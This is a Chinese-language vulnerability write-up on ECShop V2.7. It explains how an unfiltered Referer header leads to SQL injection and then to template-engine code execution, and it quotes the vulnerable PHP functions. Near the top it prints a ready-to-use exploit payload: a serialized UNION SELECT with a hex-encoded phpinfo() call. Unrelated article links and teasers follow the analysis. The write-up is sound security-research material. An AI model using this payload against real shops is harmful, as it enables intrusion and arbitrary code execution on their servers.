0x01

此漏洞形成是由于未对Referer的值进行过滤,首先导致SQL注入,其次导致任意代码执行。

0x02

payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03

漏洞分析:首先,问题产生文件为user.php。

可以看到的是。首先从客户端过来的Referer可控,导致$back_act变量可控。往下,assign函数注册变量,display函数输出文件内容。首先先看一下 user_passport.dwt 文件内容

可以看到此处会将$back_act变量传入此模板。跟进display函数:

此时,在display函数中,$filename = 'user+passport.dwt' ,跟进fetch函数:

    /**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++; if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
if ($this->_checkfile)
{
if (!file_exists($filename))
{
$filename = $this->template_dir . '/' . $filename;
}
}
else
{
$filename = $this->template_dir . '/' . $filename;
} if ($this->direct_output)
{
$this->_current_file = $filename; $out = $this->_eval($this->fetch_str(file_get_contents($filename)));
}
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
} $out = $this->make_compiled($filename); if ($cache_id)
{
$cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
$data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
$out = str_replace("\r", '', $out); while (strpos($out, "\n\n") !== false)
{
$out = str_replace("\n\n", "\n", $out);
} $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
if (!is_dir($hash_dir))
{
mkdir($hash_dir);
}
if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
}
$this->template = array();
}
}
}
} $this->_seterror--;
if (!$this->_seterror)
{
error_reporting($this->_errorlevel);
} return $out; // 返回html数据
}

 此时,在fetch函数中,$filename = 'user+passport.dwt' ,$this->_checkfile = false,$this->template_dir = ecshop/themes/dafault/,$this->direct_output = false,然后再次跟进make_compiled函数:

    /**
* 编译模板函数
*
* @access public
* @param string $filename
*
* @return sring 编译后文件地址
*/
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
if ($this->_expires)
{
$expires = $this->_expires - $this->cache_lifetime;
}
else
{
$filestat = @stat($name);
$expires = $filestat['mtime'];
} $filestat = @stat($filename);
if ($filestat['mtime'] <= $expires && !$this->force_compile)
{
if (file_exists($name))
{
$source = $this->_require($name);
if ($source == '')
{
$expires = 0;
}
}
else
{
$source = '';
$expires = 0;
}
} if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
} $source = $this->_eval($source);
} return $source;
}

 此函数是将模板中的变量解析,并将其内容读出,此时,查看display函数中$out变量会将Referer的值传入至模板变量中。

 

 查看$this->_schash的值:

 

 此值是固定的,所以$val的内容可控,其值为:

ads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}

 跟进insert_mod函数:

 

 由于此函数中$name的值可控。可以看到将$name的值分为2个变量。所以跟进insert_ads函数,其值为数组:

 

 

 可以看到产生sql注入漏洞,由于2个变量可控,可以将  'ORDER BY rnd LIMIT '  注释掉,并进行联合查询。所以 $arr['id']的值可以为:' /*  而$arr['num']的值为:*/payload,如此就将其注释掉。

 然后此sql语句查询的结果$res可控,

  

 再看由于$position_style可控,并且添加前缀str: 则正好满足fetch函数的条件,还需注意此处有一个条件,$row['position_id'] != $arr['id'],所以SQL查询出的$row['position_id']的值必须为 ' /*,16进制为0x27202f2a:

  

 此时跟入fetch_str函数:

  

 可以看到有2条正则表达式,第一条是将$source中的 <? 任意内容?> 替换为空。可以不用管。第二条是获取  {}  中的内容,并调用$this->select({})。此处正则会将$position_style中的{$abc'];echo phpinfo/**/();//}取出

 跟进select函数:

 

 由于次函数中 $tag = $abc'];echo phpinfo/**/();//  在跟进get_val函数:

 

 可以看到要想执行这条语句,则必须闭合 ] 方括号。于是可以构造为 $abc'];phpinfo();// 将payload如此构造,则$p的值为:$this->_var['$abc'];phpinfo();//'] ,然后回到fetch函数去查看_evel函数:

 

 

POC :   https://www.cnblogs.com/Spec/p/11017846.html

Ecshop V2.7代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  3. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  4. 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  5. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  6. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  7. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  8. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  9. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

随机推荐

  1. FL Studio杂项设置页讲解(下)

    上篇文章中我们重点讲解了FL Studio中"截断/被截"如何有效的避免个采样在播放时相互干扰的知识以及电平设置栏的知识,今天我们将讲完该页面中剩下的栏目知识,一起来看看吧! 1. ...

  2. Java进阶专题(十七) 系统缓存架构设计 (上)

    前言 ​ 我们将先从Redis.Nginx+Lua等技术点出发,了解缓存应用的场景.通过使用缓存相关技术,解决高并发的业务场景案例,来深入理解一套成熟的企业级缓存架构如何设计的.本文Redis部分总结 ...

  3. C语言讲义——预处理

    C预处理器是一个文本替换工具,在实际编译之前完成一些预先的处理. C预处理器(C Preprocessor)简写为 CPP 预处理器命令都是以#开头,如: #include <stdio.h&g ...

  4. Eclipse中自动生成局部变量

    方法调用后,返回值自动赋值到一个新的局部变量中: (1)鼠标放到方法上,点击Ctrl+1 (2)选择 :Assign statement to new local variable(将语句赋给新的局部 ...

  5. Java基础教程——正则表达式

    正则表达式·Regular Expression 正则表达式就是一个用于匹配字符串的模板,正则表达式并不仅限于某一种语言,但是在每种语言中有细微的差别. 主要用到的对象: java.util.rege ...

  6. 记一次用python 的ConfigParser读取配置文件编码报错

    记一次用python 的ConfigParser读取配置文件编码报错 ...... raise MissingSectionHeaderError(fpname, lineno, line)Confi ...

  7. 老猿Python博客文章目录索引

    本目录提供老猿Python所有相关博文的一级目录汇总,带星号的为收费专栏: 一.专栏列表 本部分为老猿所有专栏的列表,每个专栏都有该专栏置顶的博文目录: 专栏:Python基础教程目录 专栏:* 使用 ...

  8. Python的富比较方法__lt__、__gt__之间的关联关系分析

    Python的富比较方法包括__lt__.__gt__分别表示:小于.大于,对应的操作运算符为:"<".">".那么是否象普通数字运算一样,这两个方 ...

  9. 《30天自制操作系统》软盘 -> VMware虚拟机

    书名叫做30天自制操作系统,按照学校课设答辩的时间来看,估计得把书名改成<一周自制操作系统>,太卷了哈哈哈 我们可以使用qemu来模拟物理机 make run第二天制作的操作系统 可以看到 ...

  10. C#使用ML.Net完成人工智能预测

    前言 Visual Studio2019 Preview中提供了图形界面的ML.Net,所以,只要我们安装Visual Studio2019 Preview就能简单的使用ML.Net了,因为我的电脑已 ...